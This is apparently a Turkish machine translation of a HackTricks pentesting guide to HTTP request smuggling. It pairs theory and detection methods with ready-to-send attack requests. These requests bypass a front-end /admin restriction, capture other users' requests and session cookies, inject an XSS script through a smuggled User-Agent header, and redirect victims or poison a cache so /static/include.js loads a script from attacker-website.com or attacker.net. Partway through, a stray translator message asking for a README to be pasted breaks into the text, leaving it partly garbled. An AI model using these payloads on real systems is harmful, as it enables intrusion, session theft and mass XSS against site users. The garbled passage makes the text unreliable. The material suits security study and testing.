HTTP Request Smuggling / HTTP Desync Attack
Reading time: 28 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Nedir
Bu zafiyet, front-end proxies ile back-end sunucusu arasında bir desenkronizasyon oluştuğunda meydana gelir; bu durum bir attacker'ın bir HTTP request göndermesine imkan verir; bu istek front-end proxy'leri (load balance/reverse-proxy) tarafından tek bir request olarak, back-end sunucusu tarafından ise 2 request olarak yorumlanır.
Bu, kullanıcının kendi isteğinden sonra back-end sunucusuna gelen sonraki isteği değiştirmesine olanak tanır.
Teori
If a message is received with both a Transfer-Encoding header field and a Content-Length header field, the latter MUST be ignored.
Content-Length
The Content-Length entity header indicates the size of the entity-body, in bytes, sent to the recipient.
Transfer-Encoding: chunked
The Transfer-Encoding header specifies the form of encoding used to safely transfer the payload body to the user.
Chunked means that large data is sent in a series of chunks
Gerçek Durum
Front-End (a load-balance / Reverse Proxy) content-length veya transfer-encoding header'larından birini işlerken, Back-end sunucusu diğerini işleyebilir ve bu iki sistem arasında bir desenkronizasyon meydana gelir.
Bu çok kritik olabilir çünkü bir attacker, reverse proxy'ye tek bir request gönderebilir ve bu istek back-end sunucusu tarafından 2 farklı request olarak yorumlanır. Bu tekniğin tehlikesi, back-end sunucusunun enjekte edilen 2. isteği sanki sonraki istemciden gelmiş gibi yorumlaması ve o istemcinin gerçek isteğinin enjekte edilen isteğin parçası haline gelmesidir.
Özellikler
Unutmayın ki HTTP'de yeni satır karakteri 2 byte'tan oluşur:
- Content-Length: Bu header, isteğin gövdesinin byte cinsinden boyutunu belirtmek için ondalık sayı kullanır. Gövde son karakterde biter; isteğin sonunda yeni bir satır gerekli değildir.
- Transfer-Encoding: Bu header gövdede ondalık değil, onaltılık (hex) sayı kullanarak bir sonraki chunk'ın boyutunu belirtir. Chunk bir yeni satırla bitmelidir ancak bu yeni satır uzunluk göstergesine dahil edilmez. Bu transfer yöntemi
0
boyutlu bir chunk ile ve bunu takip eden 2 yeni satır ile sona ermelidir. - Connection: Tecrübeme göre request smuggling'in ilk isteğinde
Connection: keep-alive
kullanılması önerilir.
Temel Örnekler
tip
Bunu Burp Suite ile istismar etmeye çalışırken repeater'da Update Content-Length
ve Normalize HTTP/1 line endings
seçeneklerini devre dışı bırakın çünkü bazı gadgets yeni satırlar, carriage return'lar ve hatalı content-length değerlerinden kötüye yararlanır.
HTTP request smuggling saldırıları, front-end ve back-end sunucuların Content-Length
(CL) ve Transfer-Encoding
(TE) header'larını nasıl farklı yorumladıklarındaki tutarsızlıklardan yararlanacak şekilde belirsiz istekler gönderilerek gerçekleştirilir. Bu saldırılar farklı formlarda ortaya çıkabilir; başlıca CL.TE, TE.CL ve TE.TE şeklindedir. Her tür, front-end ve back-end sunucuların bu header'lara hangi öncelikle yaklaştığının farklı bir kombinasyonunu temsil eder. Zafiyetler, her iki sunucunun aynı isteği farklı şekillerde işlemesinden kaynaklanır ve beklenmedik ve potansiyel olarak kötü amaçlı sonuçlara yol açabilir.
Zafiyet Tiplerine Temel Örnekler
tip
Önceki tabloya TE.0 tekniğini eklemelisiniz; CL.0 tekniğine benzer ancak Transfer-Encoding kullanır.
CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End)
-
Front-End (CL): İsteği
Content-Length
header'ına göre işler. -
Back-End (TE): İsteği
Transfer-Encoding
header'ına göre işler. -
Saldırı Senaryosu:
-
Attacker,
Content-Length
header değerinin gerçek içerik uzunluğu ile uyuşmadığı bir istek gönderir. -
Front-end sunucusu
Content-Length
değerine dayanarak tüm isteği back-end'e iletir. -
Back-end sunucusu
Transfer-Encoding: chunked
header'ı nedeniyle isteği chunked olarak işler ve kalan veriyi ayrı, sonraki bir istek olarak yorumlar. -
Örnek:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked
0
GET /404 HTTP/1.1
Foo: x
TE.CL Vulnerability (Transfer-Encoding used by Front-End, Content-Length used by Back-End)
-
Front-End (TE): İsteği
Transfer-Encoding
header'ına göre işler. -
Back-End (CL): İsteği
Content-Length
header'ına göre işler. -
Saldırı Senaryosu:
-
Attacker, chunk boyutu (
7b
) ile gerçek içerik uzunluğu (Content-Length: 4
) uyuşmayan bir chunked istek gönderir. -
Front-end sunucusu
Transfer-Encoding
'i dikkate alarak tüm isteği back-end'e iletir. -
Back-end sunucusu
Content-Length
'a göre yalnızca isteğin ilk bölümünü (7b
byte) işler ve geri kalan, istem dışı bir sonraki isteğin parçası olarak kalır. -
Örnek:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked
7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
x=
0
TE.TE Vulnerability (Transfer-Encoding used by both, with obfuscation)
-
Servers: Her ikisi de
Transfer-Encoding
'i destekler, ancak biri obfuscation sayesinde bunu tanımamak üzere kandırılabilir. -
Saldırı Senaryosu:
-
Attacker, obfuscate edilmiş
Transfer-Encoding
header'ları içeren bir istek gönderir. -
Hangi sunucunun obfuscation'ı tanımadığına bağlı olarak, CL.TE veya TE.CL zafiyetlerinden biri sömürülebilir.
-
Bir sunucu tarafından işlenmeyen istek kısmı, sonraki bir isteğin parçası olur ve smuggling'e yol açar.
-
Örnek:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding
: chunked
CL.CL Scenario (Content-Length used by both Front-End and Back-End)
- Her iki sunucu da isteği yalnızca
Content-Length
header'ına göre işler. - Bu senaryo genellikle smuggling'e yol açmaz, çünkü her iki sunucunun istek uzunluğunu yorumlamasında uyum vardır.
- Örnek:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive
Normal Request
CL.0 Scenario
Content-Length
header'ının mevcut olduğu ve değeri sıfırdan farklı olduğu durumları ifade eder; bu, isteğin gövdesinde içerik olduğunu gösterir. Back-endContent-Length
header'ını (0 olarak) yok sayar, ancak front-end bunu çözer.- Bu, sunucuların bir isteğin nerede bittiğini belirlemesini etkilediği için smuggling saldırılarını anlamak ve oluşturmak açısından kritiktir.
- Örnek:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive
Non-Empty Body
TE.0 Scenario
- Öncekine benzer ancak TE kullanılarak yapılır.
- Technique reported here
- Örnek:
OPTIONS / HTTP/1.1
Host: {HOST}
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Transfer-Encoding: chunked
Connection: keep-alive
50
GET <http://our-collaborator-server/> HTTP/1.1
x: X
0
EMPTY_LINE_HERE
EMPTY_LINE_HERE
Breaking the web server
This technique is also useful in scenarios where it's possible to break a web server while reading the initial HTTP data but without closing the connection. This way, the body of the HTTP request will be considered the next HTTP request.
For example, as explained in this writeup, In Werkzeug it was possible to send some Unicode characters and it will make the server break. However, if the HTTP connection was created with the header Connection: keep-alive
, the body of the request won’t be read and the connection will still be open, so the body of the request will be treated as the next HTTP request.
Forcing via hop-by-hop headers
Abusing hop-by-hop headers you could indicate the proxy to delete the header Content-Length or Transfer-Encoding so a HTTP request smuggling is possible to abuse.
Connection: Content-Length
For hop-by-hop headers hakkında daha fazla bilgi için ziyaret edin:
HTTP Request Smuggling Tespiti
HTTP request smuggling zafiyetlerini tespit etmek genellikle zamanlama teknikleriyle mümkündür; bu teknikler, manipüle edilmiş isteklerin sunucunun yanıt vermesinin ne kadar sürdüğünü gözlemlemeye dayanır. Bu yöntemler özellikle CL.TE ve TE.CL zafiyetlerini tespit etmek için uygundur. Bu yöntemlerin yanı sıra, böyle zafiyetleri bulmak için kullanılabilecek diğer stratejiler ve araçlar da vardır:
Zamanlama Teknikleriyle CL.TE Zafiyetlerini Bulma
-
Yöntem:
-
Eğer uygulama savunmasızsa, back-end sunucunun ek veri beklemesine yol açacak bir istek gönderin.
-
Örnek:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4
1
A
0
-
Gözlem:
-
Front-end sunucu isteği
Content-Length
bazında işler ve mesajı erken keser. -
Back-end sunucu chunked bir mesaj beklediği için, gelmeyen sonraki chunk için bekler ve gecikmeye neden olur.
-
Belirtiler:
-
Zaman aşımı veya uzun yanıt gecikmeleri.
-
Back-end sunucudan 400 Bad Request hatası almak, bazen ayrıntılı sunucu bilgisiyle birlikte.
Zamanlama Teknikleriyle TE.CL Zafiyetlerini Bulma
-
Yöntem:
-
Eğer uygulama savunmasızsa, back-end sunucunun ek veri beklemesine yol açacak bir istek gönderin.
-
Örnek:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6
0
X
- Gözlem:
- Front-end sunucu isteği
Transfer-Encoding
bazında işler ve tüm mesajı iletir. - Back-end sunucu
Content-Length
bazlı bir mesaj beklediği için, gelmeyen ek veriler için bekler ve gecikmeye neden olur.
Zafiyetleri Bulmak İçin Diğer Yöntemler
- Diferansiyel Yanıt Analizi:
- İsteğin hafifçe değiştirilmiş versiyonlarını gönderin ve sunucu yanıtlarının beklenmeyen şekilde farklılaşıp farklılaşmadığını gözlemleyin; bu, bir parsing uyumsuzluğuna işaret edebilir.
- Otomatik Araçların Kullanımı:
- Burp Suite'in 'HTTP Request Smuggler' extension gibi araçlar, çeşitli belirsiz istek biçimlerini gönderip yanıtları analiz ederek bu zafiyetleri otomatik olarak test edebilir.
- Content-Length Farklılık Testleri:
- Gerçek içerik uzunluğuyla uyumlu olmayan farklı
Content-Length
değerleri gönderin ve sunucunun bu uyumsuzlukları nasıl ele aldığını gözlemleyin. - Transfer-Encoding Varyans Testleri:
- Obfusk edilmiş veya bozuk
Transfer-Encoding
başlıkları içeren istekler gönderin ve front-end ile back-end sunucuların bu manipülasyonlara nasıl farklı tepki verdiğini izleyin.
HTTP Request Smuggling Zafiyet Testi
Zamanlama tekniklerinin etkinliğini doğruladıktan sonra, client isteklerinin manipüle edilebildiğini teyit etmek önemlidir. Basit bir yöntem, isteklerinizi zehirlemeyi deneyerek bir istemcinin /
isteğinin 404 döndürmesini sağlamaktır. Önceki CL.TE ve TE.CL örnekleri Basic Examples bölümünde, istemci farklı bir kaynağa erişmeye çalışsa bile bir istemci isteğini zehirleyip 404 yanıtı elde etmenin nasıl yapılacağını göstermektedir.
Önemli Hususlar
Diğer isteklerle etkileşime girerek request smuggling testi yaparken aklınızda olması gerekenler:
- Farklı Network Bağlantıları: "Saldırı" ve "normal" istekler ayrı network bağlantıları üzerinden gönderilmelidir. Her ikisini de aynı bağlantı üzerinden göndermek zafiyetin varlığını doğrulamaz.
- Tutarlı URL ve Parametreler: Her iki istek için de aynı URL ve parametre isimlerini kullanmaya çalışın. Modern uygulamalar sıklıkla URL ve parametrelere göre belirli back-end sunucularına yönlendirir. Bunların eşleşmesi, her iki isteğin de aynı sunucu tarafından işlenme olasılığını artırır; bu, başarılı bir saldırı için gereklidir.
- Zamanlama ve Yarış Koşulları: "Normal" istek, "saldırı" isteğinin müdahalesini tespit etmek için gönderilir ve diğer eşzamanlı uygulama istekleriyle yarışır. Bu yüzden "normal" isteği "saldırı" isteğini hemen takiben gönderin. Yoğun uygulamalarda kesin bir doğrulama için birden fazla deneme gerekebilir.
- Load Balancing Zorlukları: Front-end sunucular load balancer gibi davranıyorsa, istekleri farklı back-end sistemlere dağıtabilir. Eğer "saldırı" ve "normal" istekler farklı sistemlere düşerse saldırı başarısız olur. Bu yük dengeleme durumu, bir zafiyeti doğrulamak için birden fazla deneme gerektirebilir.
- İstenmeyen Kullanıcı Etkisi: Saldırınız başka bir kullanıcının isteğini (gönderdiğiniz "normal" istek dışındaki) etkilerse, bu saldırınızın başka bir uygulama kullanıcısını etkilediğini gösterir. Sürekli test yapmak diğer kullanıcıları rahatsız edebileceğinden dikkatli olun.
HTTP/1.1 pipelining artefaktları ile gerçek request smuggling'i ayırt etme
Connection reuse (keep-alive) ve pipelining, aynı soket üzerinde birden fazla istek gönderen test araçlarında kolayca "smuggling" yanılsamaları üretebilir. Zararsız istemci tarafı artefaktlarını gerçek sunucu tarafı desync'inden ayırmayı öğrenin.
Neden pipelining klasik false positives üretir
HTTP/1.1 tek bir TCP/TLS bağlantısını yeniden kullanır ve istekleri/yanıtları aynı akış üzerinde ardışık olarak birleştirir. Pipelining'de client arka arkaya birden fazla istek gönderir ve sıralı yanıtlarla uyum bekler. Yaygın bir false-positive, hatalı CL.0-tarzı bir payload'ı tek bir bağlantıda iki kez yeniden göndermektir:
POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47
GET /robots.txt HTTP/1.1
X: Y
Çevirmem için src/pentesting-web/http-request-smuggling/README.md dosyasının içeriğini buraya yapıştırın.
Not: Kod, etiketler, linkler, dosya yolları ve teknik terimler (ör. HTTP request smuggling, pentesting, cloud/SaaS isimleri) çevrilmeyecek; geri kalan İngilizce metni Türkçeye çevireceğim.
HTTP/1.1 200 OK
Content-Type: text/html
HTTP/1.1 200 OK
Content-Type: text/plain
User-agent: *
Disallow: /settings
Eğer sunucu bozuk Content_Length
değerini yok saydıysa, FE↔BE desync olmaz. Reuse ile istemciniz aslında bu byte-stream'i gönderdi; sunucu bunu iki bağımsız istek olarak ayrıştırdı:
POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47
GET /robots.txt HTTP/1.1
X: YPOST / HTTP/1.1
Host: hackxor.net
Content_Length: 47
GET /robots.txt HTTP/1.1
X: Y
Impact: none. Sadece istemcinizi sunucu framing'inden desynced ettiniz.
tip
Reuse/pipelining'e bağlı olan Burp modülleri: Turbo Intruder with requestsPerConnection>1
, Intruder with "HTTP/1 connection reuse", Repeater "Send group in sequence (single connection)" or "Enable connection reuse".
Litmus tests: pipelining or real desync?
- Disable reuse and re-test
- Burp Intruder/Repeater'da HTTP/1 reuse'u kapatın ve "Send group in sequence"i kullanmaktan kaçının.
- Turbo Intruder'da
requestsPerConnection=1
vepipeline=False
ayarlayın. - Eğer davranış kaybolursa, muhtemelen client-side pipelining idi; bağlantı-locked/stateful hedefler veya client-side desync ile uğraşmıyorsanız bu geçerlidir.
- HTTP/2 nested-response check
- Bir HTTP/2 isteği gönderin. Eğer response body tam bir nested HTTP/1 response içeriyorsa, saf bir client artefaktı yerine backend parsing/desync bug'ını kanıtlamış olursunuz.
- Partial-requests probe for connection-locked front-ends
- Bazı FE'ler upstream BE bağlantısını yalnızca client kendi bağlantısını reuse ettiyse kullanır. FE davranışını tespit etmek için partial-requests kullanın; böylece FE'nin client reuse'unu yansıttığını gösterebilirsiniz.
- Connection-locked tekniği için PortSwigger "Browser‑Powered Desync Attacks"e bakın.
- State probes
- Aynı TCP bağlantısında ilk istek ile sonraki istekler arasındaki farklara bakın (first-request routing/validation).
- Burp "HTTP Request Smuggler" içinde bu işlemi otomatikleştiren bir connection‑state probe bulunur.
- Visualize the wire
- Deney yaparken bağlantı reuse ve partial requests ile birlikte konkatenasyon ve message framing'i doğrudan incelemek için Burp "HTTP Hacker" eklentisini kullanın.
Connection‑locked request smuggling (reuse-required)
Bazı front-end'ler upstream bağlantıyı yalnızca client onlarınkini reuse ettiğinde yeniden kullanır. Gerçek smuggling mevcut olabilir ama client-side reuse'a bağlıdır. Ayırt etmek ve etkiyi kanıtlamak için:
- Server-side bug'ı kanıtlayın
- HTTP/2 nested-response check'i kullanın, veya
- FE'nin upstream'i yalnızca client reuse ettiğinde yeniden kullandığını göstermek için partial-requests kullanın.
- Doğrudan cross-user socket suistimali engellense bile gerçek etkiyi gösterin:
- Cache poisoning: desync yoluyla paylaşılan cache'leri zehirleyerek cevapların diğer kullanıcıları etkilemesini sağlayın.
- Internal header disclosure: FE tarafından enjekte edilen header'ları (ör. auth/trust header'ları) yansıtıp auth bypass'a pivot edin.
- Bypass FE controls: smuggled HTTP isteğiyle kısıtlı path/method'ları front-end'den geçirerek.
- Host-header abuse: host routing tuhaflıkları ile birleştirip internal vhost'lara pivot yapın.
- Operatör iş akışı
- Kontrollü reuse ile yeniden üretin (Turbo Intruder
requestsPerConnection=2
, veya Burp Repeater tab group → "Send group in sequence (single connection)"). - Ardından cache/header-
leak
/control-bypass primitiflerine zincirleyin ve cross-user veya yetkilendirme etkisini gösterin.
See also connection‑state attacks, which are closely related but not technically smuggling:
{{#ref}} ../http-connection-request-smuggling.md {{#endref}}
Client‑side desync constraints
Eğer browser-powered/client-side desync hedefliyorsanız, kötü niyetli istek tarayıcı tarafından cross-origin olarak gönderilebilir olmalıdır. Header obfuscation hileleri işe yaramaz. Navigation/fetch ile ulaşılabilen primitiflere odaklanın, sonra downstream bileşenlerin response'ları yansıtması veya cache'lemesi durumunda cache poisoning, header disclosure veya front-end kontrol atlatmaya pivot yapın.
Arka plan ve uçtan uca iş akışları için:
Browser HTTP Request Smuggling
Tooling to help decide
- HTTP Hacker (Burp BApp Store): düşük seviyeli HTTP davranışını ve socket konkatenasyonunu açığa çıkarır.
- "Smuggling or pipelining?" Burp Repeater Custom Action: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
- Turbo Intruder:
requestsPerConnection
ile bağlantı reuse'u üzerinde hassas kontrol sağlar. - Burp HTTP Request Smuggler: first‑request routing/validation'ı tespit eden bir connection‑state probe içerir.
note
Reuse-only etkileri, server-side desync'i kanıtlayıp somut etki (poisoned cache artifact, internal header leak
ile privilege bypass, atlatılmış FE kontrolü vb.) ilişkilendiremedikçe önemsemeyin.
Abusing HTTP Request Smuggling
Circumventing Front-End Security via HTTP Request Smuggling
Bazen front-end proxy'leri güvenlik önlemleri uygular, gelen istekleri inceleyerek. Ancak bu önlemler HTTP Request Smuggling kullanılarak atlatılabilir ve kısıtlı endpoint'lere yetkisiz erişim sağlanabilir. Örneğin, dışarıdan /admin
erişimi yasaklanmış olabilir; front-end proxy bu tür denemeleri aktif olarak engeller. Yine de bu proxy, smuggled bir HTTP isteği içindeki gömülü istekleri incelemeyi atlayabilir ve böylece kısıtlamaları baypas etme açığı bırakabilir.
Aşağıda HTTP Request Smuggling'in front-end güvenlik kontrollerini atlatmak için nasıl kullanılabileceğini gösteren örnekler bulunmaktadır; özellikle front-end proxy tarafından genellikle korunmuş olan /admin
path'ine odaklanır:
CL.TE Example
POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10
x=
CL.TE saldırısında, ilk istek için Content-Length
başlığı kullanılırken, gömülü sonraki istek Transfer-Encoding: chunked
başlığını kullanır. front-end proxy ilk POST
isteğini işler ancak gömülü GET /admin
isteğini incelemez; bu, /admin
yoluna yetkisiz erişime izin verir.
TE.CL Example
POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0
Tersine, TE.CL saldırısında ilk POST
isteği Transfer-Encoding: chunked
kullanır ve sonraki gömülü istek Content-Length
başlığına göre işlenir. CL.TE saldırısına benzer şekilde, ön uç proxy gizlice yerleştirilmiş GET /admin
isteğini gözden kaçırır ve istemeden /admin
yoluna erişim sağlar.
Ön uç istek yeniden yazımını ortaya çıkarma
Uygulamalar genellikle gelen istekleri back-end sunucusuna iletmeden önce değiştirmek için bir ön uç sunucu kullanır. Tipik bir değişiklik, istemcinin IP'sini back-end'e iletmek amacıyla X-Forwarded-For: <IP of the client>
gibi başlıklar eklemektir. Bu değişiklikleri anlamak kritik olabilir; çünkü bunlar korumaları atlamanın veya gizlenmiş bilgi veya uç noktaları ortaya çıkarmanın yollarını açığa çıkarabilir.
Bir proxy'nin isteği nasıl değiştirdiğini araştırmak için, back-end'in yanıtında geri döndürdüğü bir POST
parametresi bulun. Ardından, bu parametreyi son sırada kullanarak şu örneğe benzer bir istek oluşturun:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked
0
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
search=
Bu yapıda, sonraki istek bileşenleri search=
'den sonra eklenir; bu, yanıtta yansıtılan parametredir. Bu yansıma, sonraki isteğin header'larını açığa çıkarır.
İç içe geçmiş isteğin Content-Length
header'ını gerçek içerik uzunluğuyla eşleştirmek önemlidir. Küçük bir değerden başlayıp kademeli olarak artırmak tavsiye edilir; çünkü çok düşük bir değer yansıtılan veriyi kısaltırken, çok yüksek bir değer isteğin hata vermesine neden olabilir.
Bu teknik, TE.CL açığı bağlamında da uygulanabilir, ancak istek search=\r\n0
ile sonlanmalıdır. Yeni satır karakterleri ne olursa olsun, değerler search parametresine eklenecektir.
Bu yöntem esasen front-end proxy tarafından yapılan istek değişikliklerini anlamaya hizmet eder; temelde kendi kendine bir inceleme gerçekleştirir.
Diğer kullanıcıların isteklerini yakalama
Bir POST işlemi sırasında bir parametrenin değeri olarak belirli bir isteği ekleyerek sonraki kullanıcının isteklerini yakalamak mümkündür. Bunu şu şekilde gerçekleştirebilirsiniz:
Aşağıdaki isteği bir parametrenin değeri olarak ekleyerek sonraki istemcinin isteğini depolayabilirsiniz:
POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked
0
POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=
Bu senaryoda, yorum parametresi genel erişime açık bir sayfadaki bir gönderinin yorum bölümündeki içeriği saklamak için tasarlanmıştır. Dolayısıyla sonraki isteğin içeriği bir yorum olarak görünecektir.
Bununla birlikte, bu tekniğin sınırlamaları vardır. Genelde, smuggled request'te kullanılan parametre ayırıcıya kadar olan verileri yakalar. URL-encoded form gönderimleri için bu ayırıcı &
karakteridir. Bu, mağdur kullanıcının isteğinden yakalanan içeriğin ilk &
'ye kadar duracağı anlamına gelir; bu &
sorgu dizisinin bir parçası bile olabilir.
Ayrıca, bu yaklaşımın TE.CL zafiyetiyle de mümkün olduğunu belirtmekte fayda var. Bu durumda istek search=\r\n0
ile sona ermelidir. Yeni satır karakterleri ne olursa olsun, değerler search parametresine eklenecektir.
HTTP Request Smuggling kullanarak Reflected XSS'i istismar etme
HTTP Request Smuggling, Reflected XSS'e karşı savunmasız web sayfalarını istismar etmek için kullanılabilir ve önemli avantajlar sunar:
- Hedef kullanıcılarla etkileşim gerekmez.
- HTTP request headers gibi normalde ulaşılamayan isteğin bölümlerinde XSS'in istismar edilmesine izin verir.
Bir web sitesi User-Agent header üzerinden Reflected XSS'e karşı savunmasızsa, aşağıdaki payload bu zafiyeti nasıl istismar edeceğinizi gösterir:
POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded
0
GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded
A=
This payload is structured to exploit the vulnerability by:
- Başlangıçta tipik görünen bir
POST
isteği başlatmak; smuggling'in başladığını belirtmek içinTransfer-Encoding: chunked
başlığıyla. - Ardından, chunked mesaj gövdesinin sonunu işaret eden bir
0
. - Sonra, smuggled bir
GET
isteği sokulur; buradaUser-Agent
başlığına bir script,<script>alert(1)</script>
, enjekte edilerek sunucu bu sonraki isteği işlediğinde XSS tetiklenir.
User-Agent'ı smuggling yoluyla manipüle ederek payload normal istek kısıtlamalarını atlatır ve böylece Reflected XSS zafiyetini standart dışı ama etkili bir şekilde istismar eder.
HTTP/0.9
caution
Eğer kullanıcı içeriği, XSS'in çalışmasını engelleyen Content-type
olarak örneğin text/plain
ile bir yanıtta yansıtılıyorsa. Eğer sunucu HTTP/0.9 destekliyorsa, bunun atlatılması mümkün olabilir!
HTTP/0.9 sürümü, 1.0'dan öncedir ve yalnızca GET verbünü kullanır; headers ile yanıt vermez, sadece gövdeyi döner.
In this writeup, this was abused with a request smuggling and a vulnerable endpoint that will reply with the input of the user to smuggle a request with HTTP/0.9. Yanıtta yansıtılacak parametre, başlıklar ve gövde içeren sahte bir HTTP/1.1 response (with headers and body) içeriyordu; bu yüzden yanıt, Content-Type
ı text/html
olan geçerli çalıştırılabilir JS kodu içerecek şekilde oluştu.
Site İçi Yönlendirmeleri HTTP Request Smuggling ile İstismar Etme
Uygulamalar genellikle yönlendirme URL'sinde hostname olarak Host
başlığındaki ana bilgisayar adını kullanarak bir URL'den diğerine yönlendirir. Bu, Apache ve IIS gibi web sunucularında yaygındır. Örneğin, bir klasör istenip sonuna eğik çizgi eklenmemişse, eğik çizgiyi eklemek için bir yönlendirme ile sonuçlanır:
GET /home HTTP/1.1
Host: normal-website.com
Sonuç olarak:
HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/
Görünürde zararsız olsa da, bu davranış HTTP request smuggling kullanılarak kullanıcıları harici bir siteye yönlendirmek için istismar edilebilir. Örneğin:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked
0
GET /home HTTP/1.1
Host: attacker-website.com
Foo: X
Bu smuggled request, işlenen bir sonraki kullanıcı isteğinin saldırgan kontrolündeki bir web sitesine yönlendirilmesine neden olabilir:
GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com
Sonuçlar:
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/
Bu senaryoda, bir kullanıcının JavaScript dosyası isteği ele geçiriliyor. Saldırgan, kötü amaçlı JavaScript sunarak kullanıcıyı tehlikeye atabilir.
Exploiting Web Cache Poisoning via HTTP Request Smuggling
Web cache poisoning, herhangi bir bileşenin front-end infrastructure caches content olması durumunda uygulanabilir; bu genellikle performansı artırmak içindir. Sunucunun yanıtını manipüle ederek poison the cache yapmak mümkün olabilir.
Daha önce, sunucu yanıtlarının 404 hatası döndürecek şekilde nasıl değiştirilebileceğini görmüştük (refer to Basic Examples). Benzer şekilde, sunucuyu /static/include.js
isteğine /index.html
içeriği döndürecek şekilde kandırmak mümkündür. Sonuç olarak, cache'deki /static/include.js
içeriği /index.html
içeriğiyle değiştirilir; bu, /static/include.js
'in kullanıcılara erişilemez hale gelmesine ve potansiyel olarak bir Denial of Service (DoS) durumuna yol açabilir.
Bu teknik, bir Open Redirect vulnerability bulunması veya site içinde bir on-site redirect to an open redirect olması durumunda özellikle etkili hale gelir. Bu tür zayıflıklar, cache'deki /static/include.js
içeriğini saldırganın kontrolündeki bir script ile değiştirmek için kullanılabilir ve güncellenmiş /static/include.js
'i isteyen tüm istemcilere karşı yaygın bir Cross-Site Scripting (XSS) saldırısını fiilen mümkün kılar.
Aşağıda cache poisoning combined with an on-site redirect to open redirect kullanılarak yapılan bir istismarın gösterimi yer almaktadır. Amaç, cache'deki /static/include.js
içeriğini saldırganın kontrolündeki JavaScript kodunu sunacak şekilde değiştirmektir:
POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked
0
GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
x=1
Note the embedded request targeting /post/next?postId=3
. This request will be redirected to /post?postId=4
, utilizing the Host header value to determine the domain. By altering the Host header, the attacker can redirect the request to their domain (on-site redirect to open redirect).
Başarılı socket poisoning sonrası, /static/include.js
için bir GET request başlatılmalıdır. Bu istek önceki on-site redirect to open redirect isteği tarafından kirletilecek ve saldırganın kontrolündeki scriptin içeriğini alacaktır.
Bundan sonra, /static/include.js
için yapılacak tüm istekler saldırganın scriptinin önbelleğe alınmış içeriğini servis edecek ve etkin bir şekilde geniş çaplı bir XSS saldırısı başlatılacaktır.
Using HTTP request smuggling to perform web cache deception
web cache poisoning ile web cache deception arasındaki fark nedir?
